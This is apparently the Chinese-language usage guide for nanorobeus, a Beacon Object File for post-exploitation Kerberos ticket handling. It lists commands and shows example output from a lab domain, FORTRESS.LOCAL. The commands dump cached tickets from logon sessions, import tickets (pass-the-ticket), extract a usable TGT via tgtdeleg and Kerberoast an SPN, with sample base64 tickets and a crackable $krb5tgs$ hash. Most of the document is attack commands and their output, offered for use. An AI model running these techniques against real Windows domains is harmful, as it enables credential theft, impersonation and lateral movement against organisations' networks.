用于管理 Kerberos 票据的 COFF 文件(BOF)。
luid - 获取当前登录 ID
sessions [/luid:<0x0>| /all] - 获取登录会话
klist [/luid:<0x0> | /all] - 列出 Kerberos 票据
dump [/luid:<0x0> | /all] - 导出 Kerberos 票据
ptt /ticket:<base64> [/luid:<0x0>] - 将 Kerberos 票据导入登录会话
purge [/luid:<0x0>] - 清除 Kerberos 票据
tgtdeleg /spn:<spn> - 为当前用户获取可用的 TGT
kerberoast /spn:<spn> - 对指定 SPN 执行 Kerberoasting
获取当前登录 ID。
=> nanorobeus64 luid
[+] Current LogonId: 0:0x19ea88e
获取当前登录会话的详细信息。
=> nanorobeus64 sessions
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
列出当前登录会话的 Kerberos 票据。提权后,使用 /all 列出所有会话中的票据,或使用 /luid:0x0 列出指定登录会话中的票据。
=> nanorobeus64 klist
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
从当前登录会话导出票据。提权后,使用 /all 导出所有会话中的票据,或使用 /luid:0x0 导出指定登录会话中的票据。
=> nanorobeus64 dump
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
将票据导入当前登录会话。提权后,使用 /luid:0x0 将票据导入指定登录会话。
=> make_token network fortress.local test pass
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
清除当前登录会话中的所有 Kerberos 票据。提权后,使用 /luid:0x0 清除指定登录会话中的票据。
=> nanorobeus64 purge
[+] Successfully purged tickets.
为当前用户获取可用的 TGT。
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
[*] Found the AP-REQ delegation ticket in the GSS-API output
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
[*] Successfully extracted the service ticket session key
[*] Successfully decrypted authenticator
[+] Successfully extracted TGT: doIFeDCCBXSgAwIBBaEDAgEWooIEcjC...(snip)...
通过指定 SPN 执行 Kerberoasting:
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
[*] Target SPN: HTTP/server.fortress.local
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...